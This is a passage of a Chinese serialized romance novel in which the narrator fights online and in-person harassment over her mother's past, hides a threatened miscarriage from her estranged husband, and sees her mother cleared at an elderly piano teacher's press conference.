“是的,当年,你母亲可是我最得意的门生了。她极具钢琴天赋,如果可以深造下去,她会成为一个非常优秀的钢琴家。只可惜高中时期,她认识了苏仲平。为了能跟苏仲平在一起,她瞒着我放弃了艺考。”
沈老太太感叹之余,也带着骄傲:“索性你
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母亲文化课成绩也很优秀,考入了帝都大学。因为这件事,我生了她很久的气,她大学几年,我都跟她没有联系过。再后来,她毕业那年,亲自来沈家找我,邀请我作为证婚人,参加她的婚礼。”
我眼皮一跳,追问道:“那场婚礼,是她和苏仲平的婚礼吗?”
“嗯,男方就是苏仲平。”
沈老太太十分确定地点点头,眉宇间有几分惋惜:“虽然她大学四年我都没跟她联系,但我一直都默默关注着她。你母亲在科研上的天赋绝不亚于苏仲平,只是刚毕业就结婚了。”
我望着病床上的母亲,苦涩地笑了下,我们的路,竟然是这样相似。
都是付出了自己所有的热忱去爱一个人,却落得被辜负的结局。
我问:“老夫人,那您知不知道最后为什么苏仲平娶了王若芳呢?他跟我母亲之间,发生了什么事?”
沈老太太叹息了一声,道:“当时结婚后,苏仲平在帝都没有根基,家庭也普通,所以只能离开帝都,去地方学校搞科研。
你母亲本来已经得到了帝都大学的留校通知,但放弃了大好前程,跟着他一起去了下面的城市。
我们距离太远,一开始你母亲还会给我打电话,我们能聊聊天。可突然有一天,我联系不到她了,她就像消失了一样……”
说到这儿,沈老夫人老泪纵横,轻轻抚了抚病床上我母亲的头发,像是在看自己的孩子。
虽然我心里也难受,但我怕老夫人这把年纪情绪太激动对身体不好,安慰了她很久。
等她情绪平息了,我问:“那您当年去参加我母亲的婚礼,有没有照片什么的?”
如果有照片或者请柬之类的证据,就能证明苏仲平说谎了!
沈老夫人摇了摇头,道:“当年我虽然收到了你母亲婚礼的邀请,但那个时候刚好我儿子,也就是宴州他爸爸因为一场意外去世了。喜事和丧事都赶到了一起,我只能选择给我儿子办葬礼。”
“抱歉,老夫人,我……我不知道……”
我感到格外愧疚,触及到了老太太的伤心事。
沈老夫人慈爱地说:“孩子,我没事,现在就是为你母亲难过。”
听完沈老夫人的话,我算了一下苏雅欣和苏启明的年纪。
我今年25岁,苏启明也是25岁。
也就是说,苏仲平和王若芳在一起,压根不可能是跟我妈离婚后。
而是在婚内,他就跟王若芳混在一起了,还生下了苏启明。
我不知该哭还是该笑。
我和我妈,苏雅欣和她母亲,我们所走的路,简直就是复制粘贴。
她们母女抢了别人的丈夫,还要倒打一耙,自己站在道德的制高点。
真是给我恶心的孕吐都出来了!
“老夫人,谢谢您来告诉我这些。”
我感激地望着面前慈祥的老太太。
沈老夫人道:“以后,你就跟亦寒和今若一样,叫我奶奶吧!你别看今若跟我才认识,可她一见我,就叫我奶奶呢!”
宋今若笑眯眯地说:“那是因为我从小没有奶奶,我梦里的奶奶,就是沈奶奶这种慈祥的样子。”
顾亦寒撇撇嘴,嫌弃她是马屁精。
可老太太喜欢得紧,还问宋今若有没有对象?
顾亦寒啧啧嘴,道:“沈奶奶,您要是早两个月问她,估计她还跟宴州哥有戏。但现在,人家也名花有主了。”
沈老夫人格外惋惜,“怎么我喜欢的丫头都有主儿了?就我孙子还迟迟没有着落。”
宋今若笑嘻嘻地说:“沈奶奶,您要是能帮昭昭解决了这件事,保不齐昭昭和您孙子有戏。”
我和顾亦寒同时发声:“你胡说什么!”
看样子,我是顾时序太太这件事,他们还没告诉沈老夫人。
而沈老夫人显然是上心了,笑着对我道:“今若不算胡说!你放心,奶奶一定帮你解决这件事,必须还你和你母亲一个清白!”
“您有什么好办法吗?”
我们三个小辈此刻都洗耳恭听。
沈老太太胜券在握地说:“虽然我当年没去,但你母亲结婚还邀请了以前一起在我这儿学钢琴的同学。只要联系到她们,大家一起出来作证,苏家人这些拙劣的污蔑就不攻自破了!”
说到这儿,沈老太太语气严肃了几分,道:“她们这般给你和你母亲泼脏水,我不仅要拿出证据让她们闭嘴,还得让我孙子起诉她们!
第62章 我们是同父异母的姐妹
顾亦寒听老太太这么说,眼前亮了起来,道:“沈奶奶,我之前找过宴州哥,他说他很忙,不愿意搭理我。您真能让他管这件事吗?”
“那当然!”
沈老夫人提起孙子,满眼的骄傲,“我说话,在宴州心里还是有点分量的。”
我们又说了会儿话,临走前,沈老夫人提醒我:“对了,昭昭,你也可以民政局看看。按说,民政局那边有你母亲和苏仲平的结婚登记,苏雅欣的母亲无论怎么说,都该是第三者。这结婚的先后顺序,肯定是赖不掉的。”
……
得到了沈老太太的提点,我翌日一早就去了民政局。
当时,沈老太太还特意找人脉,安排了一个工作人员给帮我查询苏仲平和我母亲当年的结婚登记信息。
不过,她查过之后,格外抱歉对我道:“不好意思,叶小姐。我这边查询之后,发现苏仲平和王若芳是初婚。苏仲平没有离婚记录,也没有跟您母亲的结婚记录。”
“什么?”
我愣住,难道,当年我妈妈跟苏仲平结婚,只办了婚礼却没有登记?
我有点失望。
这就麻烦了!
我跟工作人员道了谢,便准备离开。
没想到,我刚出了门,就碰上了苏雅欣和顾时序。
见我在这儿,顾时序深邃的眸光在我身上打量了一番,道:“你不照顾你妈妈,来这里做什么?”
“跟你有关系吗?”
我冷冷反问。
这时,苏雅欣轻柔地开口道:“叶小姐,我想,我们应该是来做同一件事的。我也是来查询我父母当年的结婚记录,我也希望,叶小姐的母亲是被冤枉的,并不是插足我父母的婚姻。”
语气是客客气气的,但每句话却都暗藏钢针。
就在这时,一名工作人员出来,将一个证明递给苏雅欣,恭敬地说:“苏小姐,这是您父母的初婚证明。他们的人生中都只结过一个婚,另一半一直是对方。”
苏雅欣接过证明给顾时序看,感叹道:“我就知道,我妈妈不会骗我。我妈这个人虽然性格急了些,但她不会信口胡说的。”
我懒得跟他们废话。
既然这里找不到能证明我母亲清白的证据,但我就去别处找。
我正准备离开,苏雅欣叫住我,道:“叶小姐,我想拜托你一件事。过往的事情我不想再追究了,我也会劝我妈原谅你们。但是,我希望以后,您母亲不要再打扰我们平静的生活,可以吗?”
我回头盯着她那张无辜又惹人怜爱的脸,一字一句地问:“我妈是个植物人,你告诉我,她怎么才能打扰到你们的生活?”
苏雅欣脸色一变,求救的望向顾时序。
我不想看她演戏,冷冷道:“与其你让一个植物人管好自己,不如让你妈管好你爸!别让他一天到晚来我妈的病房,死皮赖脸,赶都赶不走!”
“叶小姐,你……你怎么能这么说话?我们好歹也是同父异母的姐妹,算起来,你还算我姐姐。我真的不想伤害你……”
苏雅欣红了眼睛,楚楚可怜。
我厌恶的蹙眉,道:“麻烦你别恶心我了,行么?你想演戏,就去娱乐圈接戏,我对你的演技没有任何兴趣。”
顾时序似乎看不下去他的小情人被我这般‘欺负’,他开口道:“那天我说的可以把你和你母亲送出国,现在还算数。所有的证据都摆在眼前,你何必还让她在国内,自取其辱?”
我心口像是堵了一团棉花,深吸了一口气,道:“顾时序,很快,我就会让大家知道,究竟是谁在自取其辱。”
我无法再他们待在同一个空间下,哪怕一秒钟。
所以,我快步离开。
刚回到自己车上,我就接到了医院打来的电话。
“叶小姐您好,亲子鉴定结果出来了,您现在可以来取了。”
我立刻追问道:“麻烦您现在告诉我一下,我跟苏仲平是不是亲生父女?”
那边道:“结果是你们没有生物学关系,所以,并不是亲生父女。”
她说完,我刚才变灰的心一瞬间被点燃了。
哪怕是血液里染上苏家的血,我都觉得对我是一种侮辱。
幸好,幸好……
挂了电话,我突然想到了什么。
现在,我还不准备让苏仲平知道消息。
苏家人一个比一个狡猾,谁知道他得知了这个消息,又会想出什么办法颠倒黑白?
我立刻给宋今若打电话。
将前因后果告诉她之后,我道:“你家裴医生也是海城中心医院的,能不能让他跟鉴定中心的人打个招呼。要是苏仲平问起来,就说鉴定结果还没出来。”
宋今若爽快地答应了。
我开车回去的路上,虽说心里喜悦自己跟苏仲平没有关系,但我还是觉得谜团越来越多。
我如果不是苏仲平的女儿,那我的亲生父亲,究竟是谁呢?
从我出生后有记忆开始,我就只有妈妈。
我从来都不知道‘父亲’这两个字对我来说,意味着什么?
就这样,我想着心事,一路将车开回了医院。
我完全没想到,最近风言风语闹得这么厉害,苏仲平竟然又来了。
想到刚才他女儿那副做作的嘴脸,还有苏仲平在网络上无耻的‘澄清’,我顿时气不打一处来。
苏仲平先开口道:“最近我在家总是担心你们母女,所以就来看看你。顺便,也看看亲子鉴定结果出来没?不过,工作人员说还没出来。”
我看着他这幅伪善的模样,忍着恶心道:“你有什么事,就直接说吧。”
苏仲平道:“刚才,听雅欣说,你去了民政局?”
“嗯。”
我没有任何隐瞒,道:“去查一下,你跟我妈的结婚记录。”
苏仲平一副胸有成竹的样子,道:“那我相信,你一定查不到的。虽说我的确不太喜欢王若芳,但她是我唯一的妻子。”
“是么?”
我望进他的眼底,道:“你确定你跟我妈妈没有办过婚礼?你确定王若芳是你的原配?”
苏仲平目光忽然闪躲着,道:“你这是听谁说的?”
我笑了笑,道:“这怎么能告诉你?
“你不要听别人胡说。我没有娶过你母亲,我再说一遍,我自始至终,只有雅欣母亲一个妻子。你是我的私生女,我可以对你负责。但你不能道德**我!”
他义正严辞,仿佛真是个负责任的好父亲。
我冷笑出声,想到亲子鉴定结果,道:“你还不配对我负责。苏仲平,希望真相大白那天,你还可以这么嘴硬。”
苏仲平回避着我的目光,逃一般的离开了我母亲的病房。
他走后没多久,网络上有个大V发文,说我和我母亲行为不检,是专门毁别人家庭的小三。
所以,要我召开记者发布会公开道歉。
此文一出,引起了全网支持。
“叶昭昭,出来!你和你妈有种抢人家男人,怎么现在不敢出来了?”
“我知道叶昭昭她母亲住在哪个医院?我姐就是那个医院的护士,亲眼见过!母女俩都是一副骚样子,想要地址的私聊我!”
“居然还有医院姑息养奸,肯收留她们?到底哪个医院,我们一起抵制。顺便,一起去看看母女俩到底什么姿色,居然能勾引雅欣的男人和爸爸。”
“好呀好呀,带我一个,我也想去看看!”
“……”
忽然间,很多苏雅欣的粉丝竟然开始**我的信息了。
甚至,我和我妈目前的医院也面临着曝光。
傍晚时分,我听见外面有凌乱的脚步声。
原以为是那些粉丝来**了,可我没想到,是孙杰带了好几个保镖站在了我母亲病房门口。
“怎么是你?”
我疑惑地看着他。
孙杰恭敬地对我说:“太太,是顾总吩咐我过来保护您的。网上那些粉丝太不理智了,顾总怕您这边出事。”
“不需要,如果有人来**,我会报警的。”
我冷冷拒绝了顾时序的帮助,“医院里也有保安,医院不可能任由那些粉丝闹起来,扰乱正常的医疗秩序。”
孙杰劝道:“太太,其实顾总还是很关心您的。他只是……要面子,不愿意直说。今天他得知网上那些帖子,第一时间就派我过来了。”
我讽刺的问:“他关心我,那他自己怎么不来?”
“这……”
孙杰支支吾吾的。
我道:“他在陪苏雅欣,对吧?”
孙杰为难地说:“主要是最近苏小姐一家也是深陷**,苏小姐每天都很焦虑。顾总怕她想不开,所以才陪她几天。”
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我笑了笑。
他老婆都得抑郁症了,他毫不在乎,觉得我是装的。
苏雅欣自编自导一场污蔑的戏,她这个既得利益者焦虑一下,也能让顾时序寸步不离。
顾时序的爱,真的很明显。
我冷声道:“你走吧!顾时序问起来,就说我不想见到跟他有关的任何人。”
孙杰生怕办不好顾时序交代的事,还想劝劝我。
就在这时,顾亦寒和宋今若来了,同样带了一大波人。
“你们……”
我疑惑的看着他们。
宋今若解释道:“我们看到网上那些脑残的评论,怕她们来医院骚扰你和伯母,赶紧带着保镖来这儿保护你们。”
孙杰连忙道:“宋小姐,我们顾总已经安排好了,就不劳你们操心了。”
顾亦寒冷笑了声,道:“他老婆和丈母娘被人指着鼻子骂,他还在陪小老婆和小丈母娘。他能安排好什么?快别来恶心人了!”
我没有附和顾亦寒的话,却很赞同。
所以对孙杰道:“你看到了,我已经有人保护了。麻烦你回去吧,你是顾时序最得力的助理,他不会怎么着你的。”
孙杰终究是离开了。
宋今若对着他的背影呸了声,道:“顾时序怎么还不**啊!对你不闻不问也就算了,关键是还得时不时的过来恶心你一下。”
顾亦寒道:“今若,你今晚不是还要跟你家裴医生去约会吗?你快去吧,我留这儿陪昭昭。”
宋今若眯着眼睛道:“别以为我不知道你是什么心思!我告诉你,你给我老实点儿!要是敢趁火**昭昭,你就给我等着吧你!”
“哎呦,我知道了知道了,大小姐!”
顾亦寒迫不及待的将宋今若推了出去。
他冲我笑了下,一副严肃的样子道:“昭昭,今天晚上我打地铺睡就行,你别心疼我。”
“额……”
我尴尬的说:“你不用留下来,你不是已经带了保镖来吗?我已经很感谢你了。”
顾亦寒道:“那怎么行?苏雅欣那帮**粉丝多可怕呀,我得留这儿守护好你和伯母。”
我微微叹了口气,格外认真的说:“顾亦寒,我只把你当做朋友,除此之外,没有别的。我不想耽误你的时间,你明白吗?”
顾亦寒皱眉道:“我妈究竟跟你说了什么?”
“跟琴姨没关系。还记得吗?当年顾时序的母亲那么尖酸刻薄,反对我们在一起,我都没有任何退缩。所以,如果我爱一个人,我不会因为外界原因离开他的。”
我说完,顾亦寒仿佛一个丢了糖果的孩子,满脸失落。
他低低的说:“我明白了。”
虽然顾亦寒走了,但他还是将保镖留下来保护我。
我难得踏实的睡了一夜。
翌日上午,保镖跟我汇报说沈老夫人来了。
我立刻开门迎接。
总觉得因为我的事,让一个年过八十的老人这么来回跑,很歉疚。
沈老夫人满面喜色,道:“今天过来啊,是告诉你一个好消息。”
我立刻反应过来,“是不是您找到了当年苏仲平和我母亲婚礼的宾客。”
老夫人点了点头,“真是个聪明的孩子。这些人啊……”
她刚准备说,外面就响起了轻微的争执声。
我们的对话停下。
“沈奶奶,您在这儿等一下我,我去看看。”
我出门后,发现竟然是苏雅欣来了,但是被保镖拦在了外面。
我丝毫不掩饰厌恶,问:“你来干什么?”
苏雅欣一副宽容懂事的样子,道:“听时序哥说,你拒绝了他的帮助。我想来找你谈谈,你方便吗?毕竟,我们也算是有血缘的姐妹。”
我听着都觉得恶心。
顾时序还真是什么都告诉她啊!
我正准备轰她走,可这时,沈老夫人拄着拐杖出来了,“既然苏小姐亲自来了,那就请她进来吧。”
我没好意思驳了老夫人的面子。
苏雅欣脸上浮现出震惊和诧异,似乎不明白为什么我和沈老夫人的关系这样熟了?
毕竟,现在的我和我母亲各种**缠身,如果不是关系好的人,恨不得离我越远越好。
可沈老夫人的地位和背景,苏雅欣是知道的。
此刻,她姣好的面容暗暗闪过一抹妒忌。
第63章 先兆流产
苏雅欣跟着我们一起进了我母亲的病房。
上次没跟沈家搭上线,她还一直耿耿于怀。
现在有了机会,她虽然嫉妒我和沈老太太的关系,却一脸谄媚地笑,在老太太面前表现。
“老夫人,我和姐姐有点误会,幸好您开了尊口让我进来。您能记得我,是我的荣幸。”
她嘴甜地寒暄着。
沈老夫人凉凉地哼了声,似笑非笑地看着她:“苏小姐一家最近可是热搜红人啊,想不记得你,都不行。”
苏雅欣脸色微变。
随即,一副委屈的样子,道:“我今天就是为这件事而来的。想必,老夫人也知道,我和叶小姐其实是同父异母的姐妹。我真的很珍惜我们的姐妹情,所以想来这里看看叶小姐和伯母。”
说到这儿,她望着我,“叶小姐你放心,我一定会劝好我妈妈,不让她计较伯母年轻时做的错事了。”
沈老夫人冷笑了声,道:“苏小姐,我终于是明白你的路子了,怪不得年纪轻轻就能在娱乐圈崭露头脚。不错,是个有手段的。”
“老夫人……”
苏雅欣咬着下唇,仿佛沈老夫人怎么着她了,哽咽道:“您是不是误会什么了?还是……姐姐在您面前说了什么?”
沈老夫人绷着脸,道:“昭昭在我面前没说过你任何不好的话,甚至提都没有提过你。而你,从刚才进门到现在,不是在诋毁她,就是在诋毁她母亲。你是觉得我老眼昏花了,所以听不出来吗?”
苏雅欣脸上就快挂不住了。
她一脸无辜地摇头,道:“老夫人,我不明白您为什么对我的恶意这么大?当年我妈妈被人破坏家庭,要不是她这些年一直默默忍受,很可能我现在连完整的家都没有了。我才是受害者……”
我正准备骂她不要脸,沈老夫人就开口了:“苏小姐,你是听不明白我的意思吗?昭昭母亲是我的学生,我对她的了解比任何人都清楚。如果她是你口中这种人,她压根就做不了我的学生!”
苏雅欣顿时僵住了,完全没想到,我妈妈跟沈老夫人还有这层关系。
沈老夫人冷冷道:“实话告诉你,刚才我让你进来,就是想看看你的路数。不过现在,我已经看清了,手段是有的,就是这路子太拿不上台面。”
苏雅欣被老夫人呛得脸色一阵清白。
最终,实在是没脸再继续留这儿了,赶忙离开了。
沈老夫人倒是被她气得不轻,刚才虽然没露出来,但她走后,老太太面色阴沉极了。
她道:“这顾家也算海城数一数二的人家,顾总是怎么看上这种女人的?”
我本可以跟老夫人说我跟顾时序的关系,但我与他连离婚协议都签了,就差去民政局领证了,何必还让别人知道这层关系?
所以终究,我没提。
我将昨天去民政局没找到苏仲平和我母亲结婚登记的事告诉了老夫人。
老夫人分析道:“那就只有两种可能。一种是当年你母亲和苏仲平只办了婚礼没领证,另一种是他们找人将当年的结婚记录给删除了。不过,我觉得还是第一种可能大一些。毕竟,苏家除了苏仲平在学术圈有点地位,他们还没这么大的能量能操控民政局。”
我有些感叹。
我母亲当年究竟爱苏仲平爱到什么地步?
竟然就这么草率地嫁了,连结婚证都没办。
沈老夫人想起来找我的目的,道:“当年参加你母亲婚礼的学生,我联系到了好几个。她们有人还拍了照片,这都是证据,苏仲平赖不掉的。现在,她们正往海城赶,刚好趁这次机会,我们还能聚一聚。”
我热泪盈眶,我母亲的清白终于可以得到证明了。
“沈奶奶,谢谢您。”
我感激地望着她,道:“如果不是您,或许我和我妈妈只能一辈子背负骂名了。”
沈老夫人握着我的手,轻轻拍了拍,道:“孩子,你就把心好好放在肚子里,在这儿把妈妈守好了。很快,真相就会被所有人知道。”
这时,跟沈老夫人一同来的保姆进来提醒道:“老夫人,您今天跟西岩寺的无灯大师约好去礼佛的。现在,要起程吗?”
我有点意外,原来,沈老夫人也信佛。
不过想想也是,像老夫人这个年纪,的确会信这些多一点。
我一直将老夫人送到楼下的车上,这才回到病房。
没过多久,外面响起了一波一波的挑衅声。
我立刻出去,便发现苏雅欣的粉丝被保镖挡在了外面。
“叶昭昭,你和你妈有本事抢男人,有本事出来啊!”
“果然做了亏心事,竟然还请保镖。这不就是心虚嘛!”
“医生呢?这是什么破医院,竟然能收容老小三这么久,还给她治病!”
“……”
见我出来,她们的声音更大了。
我站在保镖身后,面无表情地看着她们,“你们难道不知道,上一波污蔑我的人,已经在监狱里蹲着了。”
其中一个粉丝冷笑了声,道:“吓唬谁呢!那个人进监狱,是因为她搞了辱骂你的大字报、散播你的照片。可我们来这儿,是为了替天行道!维护社会正义!”
另一个粉丝附和道:“就是!要是人人都像你和你妈去当小三,那这个社会还不乱了套了!”
“叶昭昭,你想告就去告!就算你报了警,我们也顶多赔点钱,我们家有钱,有的是钱赔你!可我就是想骂你这个小三!只要我不进去,我就天天过来骂你妈和你!”
一堆脑残粉你一言我一语地叫嚣着。
虽然她们伤不到我什么,但像是甩不掉的橡皮糖,也的确烦人。
就在这时,电梯门开了。
刚才被沈老太太骂走的苏雅欣竟然去而复返,只是现在,他身旁还多了顾时序。
那些粉丝的眼睛当即亮了。
“天啊,是雅欣!我们竟然在这里看见雅欣了!”
“比电视里还漂亮呢!跟叶昭昭那个骚样儿完全不同哎!好清纯,好美!”
“你们看,那是顾总。我就说顾总跟叶昭昭顶多就是玩玩而已,他最爱的还是我们雅欣。最后,肯定是顾总跟她道歉,跪键盘了!”
“……”
粉丝们一边说,一边凑过去。
苏雅欣先帮粉丝们签了名,然后温柔地说:“各位,我知道你们心疼我,替我鸣不平。但是我不想追究叶小姐和她母亲的任何问题,更不想让大家因为我被起诉。所以请大家给我面子,回去吧,好吗?”
她说完,竟然有粉丝直接哭了。
“雅欣,你怎么这么傻!”
那粉丝哭得呜呜的,道:“你越是这样,我们越心疼你。你这么单纯,哪里是叶昭昭的对手?”
“是啊,雅欣。我们都是你的家人,你别怕,你不是一个人!”
“叶昭昭,你现在就道歉!只要你现在跪下给我们雅欣认错,承认你和你妈是小三,我们就算了!”
“对!道歉!”
一堆粉丝蜂拥而上,保镖差点就挡不住了。
顾时序应该是得知了这边发生的事,也带了一群保镖。
最后,是顾时序和顾亦寒的保镖,加上医院里的许多保安,一起把那些粉丝轰走的。
现场终于安静了。
苏雅欣走到我面前,一副关心的口气,“叶小姐,你没事吧?让我看看,你有没有受伤?”
说着,她就要触碰我。
我厌恶地躲开。
她顺势就往后倒去,像是被我推了。
顾时序立刻上前托住她的腰肢,稳稳接住了。
男人眸光冷冽,语气格外低沉:“雅欣听说她的粉丝到你这里来了,马不停蹄地带我过来帮你。就连她今天被你和沈老夫人羞辱的事,她都没告诉我。你究竟还想怎样?”
我反问道:“她没告诉你,你是怎么知道的?”
顾时序冷冷道:“她眼睛哭得通红,我追问的。你什么时候能学会她一半的大度和宽容,你才是一个合格的顾太太。”
“顾时序,我早就不想当这个顾太太了!带着你的情人立刻滚,别再来恶心我!”
我最后几乎是吼出来的。
可紧接着,腹部就传来一阵隐痛。
我想到了宝宝,立刻捂住肚子,脸色苍白。
顾时序似乎也发现了异样,放下苏雅欣向我走来。
我对保镖道:“拦住他,我不想见他。”
顾亦寒的保镖瞬间拦住了顾时序,而顾时序的保镖已经做出一副攻击的架势。
两边看着剑拔**张,差点就要打
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起来了。
这时,顾时序沉声吩咐了一声:“走!”
他带来的保镖才偃旗息鼓,跟着老板离开了。
顾时序临走时,那眼神仿佛在告诉我,我压根不值得他这么大动干戈。
他们走后,我捂着微痛的小腹立刻去了妇产科。
医生听了我的叙述,帮我检查得很细致。
看完我的检查单,医生严肃地说:“你本身就有贫血,再加上最近情绪不好,现在已经有了先兆流产的迹象。”
我心下一惊,只觉得太对不起肚子里的这个小生命。
“医生,那现在有没有什么解决的办法?”
本来都不确定要不要留下他的我,在这一刻,十分珍惜与他血脉相连的每一分钟。
医生给我开了保胎药,道:“我是建议你住院。”
我想到我妈的事情还没有着落,再加上苏雅欣的粉丝时不时的就来闹,我不敢离开我妈身边一步。
“能不住院吗?”我问。
医生道:“不住院的话,你回去也要好好休息。千万控制好自己的情绪,不能劳累。”
我郑重地点点头,去药房拿了药。
回到病房时,我没想到顾时序竟然又返回来了。
这次,是他自己,没有苏雅欣。
看到我手里的药袋子,他深邃的眸光透出一抹狐疑。
我心一惊,立刻将药袋子背到后面,不悦地问:“你不是跟苏雅欣走了吗?”
“刚才叶家父母给我打电话,他们怕你留在国内遭受网暴,所以请我帮你。”
顾时序没有跟我商量的意思,而是通知我:“专机已经安排好了,国外的医院也已经安排好了。现在,不是你任性的时候。”
我冷冷道:“我哪里都不去,我妈也一样。”
我不明白,为什么躲起来的是没有做错任何事的我们?
顾时序捏了捏眉心,似乎很头痛,“叶昭昭,今天那些粉丝虽然暂时被雅欣劝走了,可她们明天、后天还可能会过来。你们留在这儿,总归是不安全的。”
我反问:“这与你有什么关系?”
顾时序被噎了一下,淡淡地说:“好歹你也是我妻子,我们认识了二十年。你我之间的情分,我做不到坐视不理。”
情分?
我只觉得从顾时序口中提这两个字,太过可笑。
“顾总,真的不需要了。你的情分,给苏雅欣吧!”
我想到医生的话,语气格外平静,无悲无喜。
就在这时,顾时序接到了一个电话,他脸色瞬间变得凝重。
通完话,他眸光审视着我,道:“你跟沈老夫人很熟?”
“还好。”
我不知道他怎么就提起了沈老夫人。
顾时序冷声道:“你在沈老夫人面前抹黑雅欣,现在又利用沈老夫人想做什么?”
我被他问得不明所以。
他将手机递给我,没想到,沈老夫人用沈氏集团的官方账号发了一条消息:
明早八点,沈老夫人以海城大学音乐学院教授的身份,召开记者发布会,为她的学生唐婉华作证。
一向低调,极少在公众面前露面的沈老夫人,竟然亲自出面替我母亲澄清。
我心中涌出一阵感动。
我曾经最信赖的人在这种时刻,和陌生人一样在我心上不停地捅刀子。
可帮助我的,却是只有几面之缘的老人。
顾时序语气严厉了几分,道:“叶昭昭,回答我!你跟沈老夫人究竟做了什么交易,你们葫芦里卖的什么药?”
我见他这么着急,笑了笑,道:“怎么?担心明天你情人和未来丈母娘的嘴脸就公之于众,提前心疼她们啊?”
顾时序冷哼了声,道:“黑的永远变不成白的,我没什么可担心的。我就是怕你被沈家利用,在错误的路上越走越远。”
我苦涩地弯了弯唇角。
顾时序对我哪怕有对苏雅欣一半的信任,我们都不至于走到这个地步。
“那就拭目以待吧。”
我迎上他锐利的眸光,道:“明天记得看记者发布会。”
就在这时,一个护士突然进来,道:“叶小姐,您果然在这里!刚才您在药房少拿了一盒药。”
说完,她就这么当着顾时序的面,将保胎药递给了我。
第64章 真相大白,我出了口恶气!
顾时序的目光**在药盒子上,这一刻,我只觉得心都快要跳出了嗓子眼儿。
幸好保胎药的药名并不常见。
护士走后,顾时序疑惑地问:“这是什么药?”
“治贫血的。”
我面不改色心不跳地说。
顾时序眸光缓和了些,问:“贫血又严重了吗?”
我淡淡地道:“最近被恶心的头晕,就去医生那里看了看。”
顾时序以为我在讽刺他,便不再问什么,临走时还对我道:“你好自为之。”
我看着他的背影,心中冷嘲。
应该是‘你们好自为之’才对!
苏雅欣粉丝将她亲自来医院替我解围,劝诫粉丝离开的事发在了网上。
苏雅欣的做法引起了全网的赞赏和心疼。
“真是哭**,怎么会有这么善良的女孩儿啊!”
“从此以后路转粉了,这样宽容大度的女孩,以后在娱乐圈的发展一定会越来越好的!”
“太心疼了。作为公众人物,她要承受多少压力啊?竟然还去帮小三求情。”
“你们看见沈氏集团发文了吗?叶昭昭这个小三果然是有背景的,怪不得敢勾引顾总,跟雅欣抢男人了!”
“切,明天我们就看看,沈氏集团的老太太怎么帮叶昭昭颠倒黑白。大家都擦亮眼睛了!”
“……”
我看到的这些评论,沈老夫人自然也看见了。
听顾亦寒说,老夫人一晚上吃了两次降压药,血压才稍微稳定一些。
沈老夫人还给我打了电话,叹息道:“孩子,真是委屈你了。别说是你,就连我这个活了八十岁,见过大风大浪的老太太,面对网上这些无端的谩骂,都受不住。更何况,是你。”
“我习惯了。”
我说出这句话的时候,自己竟都觉得心疼。
沈老夫人安慰道:“明天你就好好看着,我会让所有人都知道,你母亲是无辜的。”
……
翌日八点,沈老夫人准时开了新闻发布会。
地点就在沈家在海城的别墅。
沈老夫人请来的学生,都是当年跟我母亲一起在她那儿学钢琴的。
现在,基本都是各大音乐学院大咖级别的教授了。
这也更进一步显示出了每个人说话的权威性和真实性。
记者们争先恐后地提问:
“沈老夫人,听说唐婉华是您的学生。您是否因为这层关系,所以颠倒黑白,帮她做伪证呢?”
记者说完,沈老夫人眼神凌厉,一字一句地说:“我老太太从来不说昧良心的话。当年,我的学生唐婉华和苏仲平的恋爱经过我是知道的。据我所知,那个时候,还没有出现过一个叫做‘王若芳’的女人。”
记者继续:“这也不能代表唐婉华没有做小三。这只能说明他与苏仲平教授先认识罢了!但苏太太今早刚放出证据,她与苏仲平教授是初婚。您不能否认您的学生跟苏教授是婚外情吧!”
沈老夫人将话筒递给她的学生们:
帝都大学音乐学院现任院长率先发言:“唐婉华和苏仲平是办过婚礼的,我当时就在现场!当年,他们也是父母之命、媒妁之言的。唐婉华是孤儿不错,但苏仲平的父母在婚礼上可全都出场了!”
海城大学音乐学院院长紧随其后:“这点我可以作证,我们当年,是亲自去参加过婚礼的。如果苏教授忘记了,我们有照片为证!”
说完,他们拿出了一本古朴的相册,很珍惜的一页页翻开,暴露在记者的摄像机前。
照片上的日期都显示得清清楚楚。
当年,苏仲平搂着我妈妈在众人的欢呼下接吻,格外甜蜜。
那时候的苏仲平意气风发,我妈妈样貌十分惊艳,堪称姿色绝代。
最后的大合照里,苏仲平的父母也出现了,所有人都十分喜悦,看不出一点悲剧即将发生的样子。
记者们一阵唏嘘,纷纷拍摄照片。
沈老夫人道:“据我调查,王若芳与苏仲平办理结婚登记,是在我学生与苏仲平婚礼的一年后。但奇怪的是,王若芳和苏仲平的长子,居然跟叶昭昭一样的年纪。这说明了什么,我想大家都不傻。”
下面的记者全都窃窃私语起来:
“天啊,这么说来,整天在网络上哭着说被人挖墙脚的王若芳才是小三?人家虽然没登记,但婚礼都办过了,她横插一杠子算怎么回事儿?”
“看来,这苏仲平也不是什么好东西啊!一边跟唐婉华结婚,一边还跟王若芳珠胎暗结,连私生子都搞了出来。”
“真是毁我三观!亏我之前还替她打抱不平,想通过新闻让更多人知道叶昭昭和她母亲的罪行呢。现在看来,人家把我们当枪使了。”
“……”
虽然记者们和吃瓜群众全都反映了过来。
可沈老夫人显然还没有把这口气出彻底。
她又放出了更重大的爆料:“据我所知,王若芳娘家在学术圈是有一席之地的。当年,苏仲平抛弃我的学生唐婉华,娶了王若芳之后,事业一飞冲天。我建议海城大学可以好好查一下,当年苏仲平升职的所有手续都合不合规?”
沈老夫人的爆料,再次引起众人震惊。
苏仲平不仅出轨,还是个陈世美。
如今的成就和地位,竟都是靠着老婆家里得来的。
记者们还想继续提问,挖到更多的料。
沈老夫人拒绝再回答任何问题,而是放出话来:“今天,我把该说的都说了。从此以后,若是再有人给我的学生或她女儿泼脏水,休怪我用法律武器让她闭嘴!至于王若芳,我们保留追究她法律责任的权利。”
说完,沈老太太在一众保镖的护送下回到了屋内。
新闻发布会结束,直播戛然而止。
网络上的讨论炸开了锅。
今天我也算是见识到了什么叫做两极反转。
说话不用负责任的键盘侠,昨天还在为苏雅欣和苏母打抱不平。
今天他们已经把之前用在我和我妈身上的词汇,用在了苏雅欣母女身上。
这恐怕是苏雅欣人生第一次明白,什么叫做‘反噬’。
我想,现在的苏家已经乱成一团麻了。
……
新闻发布会结束后,苏仲平来到了医院。
我怕他狗急跳墙,对我母亲不利,便让保镖把他拦在了外面。
苏仲平失去了往日意气风发的模样,满脸疲惫和沧桑。
他讽刺地笑了笑,道:“这下你满意了?刚才海城大学通知我配合调查,他们成立了专案组。你终究,还是给我们苏家所有人都拉下了水。”
我面无表情地说:“是你们自找的!要不是你们一个个像毒蛇缠在我身上甩都甩不掉,你以为我愿意多看你们一眼?”
“好,都是我们的不对。”
